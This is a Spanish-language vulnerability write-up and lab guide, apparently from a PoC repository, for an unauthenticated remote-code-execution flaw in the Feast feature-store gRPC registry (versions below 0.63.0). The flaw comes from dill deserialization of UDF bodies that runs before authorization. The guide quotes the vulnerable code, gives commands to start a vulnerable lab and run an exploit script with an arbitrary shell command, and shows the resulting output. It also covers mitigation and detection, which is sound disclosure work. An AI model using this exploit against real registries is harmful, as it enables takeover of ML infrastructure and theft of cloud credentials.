CVE-2026-56121 — Feast <0.63.0 RCE no autenticado mediante gRPC registry dill.loads de OnDemandFeatureView UDF (pre-autenticación). Lab + PoC, verificado e2e.
El servidor gRPC del registro de Feast
< 0.63.0ejecutadill.loads()sobre la función definida por el usuario de unOnDemandFeatureViewtan pronto como llega una especificación — antes de cualquier verificación de autorización. La configuración incluida esauth: no_auth, por lo que cualquier cliente que pueda alcanzar el puerto del registro (por defecto6570) obtiene ejecución remota de código no autenticada enviando una solicitudApplyFeatureViewcon un pickle malicioso.
| CVE | CVE-2026-56121 |
| Afectado | Feast < 0.63.0 |
| Corregido | 0.63.0 |
| Clase | CWE-502 (Deserialización de datos no confiables) → RCE |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticación | Ninguna (auth: no_auth por defecto; deserialización ocurre antes de autorización) |
| Superficie | registro gRPC RegistryServer.ApplyFeatureView (puerto por defecto 6570) |
| Estado | CONFIRMADO — reproducido de extremo a extremo contra feast==0.62.0 |
sdk/python/feast/registry_server.py:
def ApplyFeatureView(self, request, context):
feature_view_type = request.WhichOneof("base_feature_view")
...
elif feature_view_type == "on_demand_feature_view":
feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view) # (1) deserialize
...
assert_permissions_to_update(resource=feature_view, ...) # (2) authorize
self.proxied_registry.apply_feature_view(...)
from_proto (1) se llama antes de la verificación de permisos (2). Analiza la transformación, la cual ejecuta dill.loads() sobre el cuerpo de la UDF — sdk/python/feast/transformation/pandas_transformation.py (y python_transformation.py):
@classmethod
def from_proto(cls, user_defined_function_proto):
return cls(
udf=dill.loads(user_defined_function_proto.body), # <-- pickle controlado por el atacante
udf_string=user_defined_function_proto.body_text,
)
dill es un superconjunto de pickle, por lo que dill.loads() de bytes del atacante invoca la maquinaria __reduce__ de pickle → ejecución de código arbitrario. Debido a que se ejecuta antes de assert_permissions_to_update — y la configuración predeterminada auth: no_auth hace que esa verificación sea ineficaz de todos modos — el RCE es no autenticado.
# 1. Iniciar un servidor de registro vulnerable (feast 0.62.0, gRPC :6570, no_auth por defecto)
docker compose -f lab/docker-compose.yml up --build -d
# 2. Ejecutar el PoC (sin credenciales)
pip install "feast==0.62.0" grpcio
python3 exploit.py 127.0.0.1:6570 -c "id; hostname"
# 3. La salida del comando aparece en el host del registro
docker compose -f lab/docker-compose.yml exec feast cat /tmp/feast_pwned
# uid=...(...) <hostname>
Observado:
[*] sending ApplyFeatureView with a 124-byte malicious pickle in user_defined_function.body
[*] RPC status: UNKNOWN - Exception calling application: 0 is not a module, class, method, or function.
[+] dill.loads executed the payload server-side during from_proto.
El RPC finalmente da error (el objeto desempaquetado ya no es una UDF invocable), pero el comando ya se ejecutó durante dill.loads() — cat /tmp/feast_pwned devuelve la salida en vivo de id/uname, lo que demuestra la ejecución y no un eco.
Cualquier persona que pueda alcanzar el puerto gRPC del registro de Feast puede ejecutar comandos arbitrarios del sistema operativo como la cuenta de servicio del registro — compromiso total del almacén de características y las tiendas offline/online, registros y credenciales en la nube a los que está conectado. Los registros de Feast se exponen frecuentemente dentro de plataformas de ML para que los clientes SDK los llamen.
skip_udf para que el servidor del registro ya no deserialice el cuerpo de la UDF de las especificaciones entrantes.auth (oidc/kubernetes) y nunca exponga el puerto del registro a redes no confiables. Tenga en cuenta que la autenticación por sí sola no es suficiente en < 0.63.0, porque la deserialización precede a la verificación de autorización.Alerte sobre RPCs ApplyFeatureView / ApplyMaterialization al registro cuyo OnDemandFeatureView user_defined_function.body no sea producido por un cliente confiable, y sobre procesos del registro que generan shells.
Vea ANALYSIS.md para la ruta del proto, el orden deserialización-antes-autorización y el parche.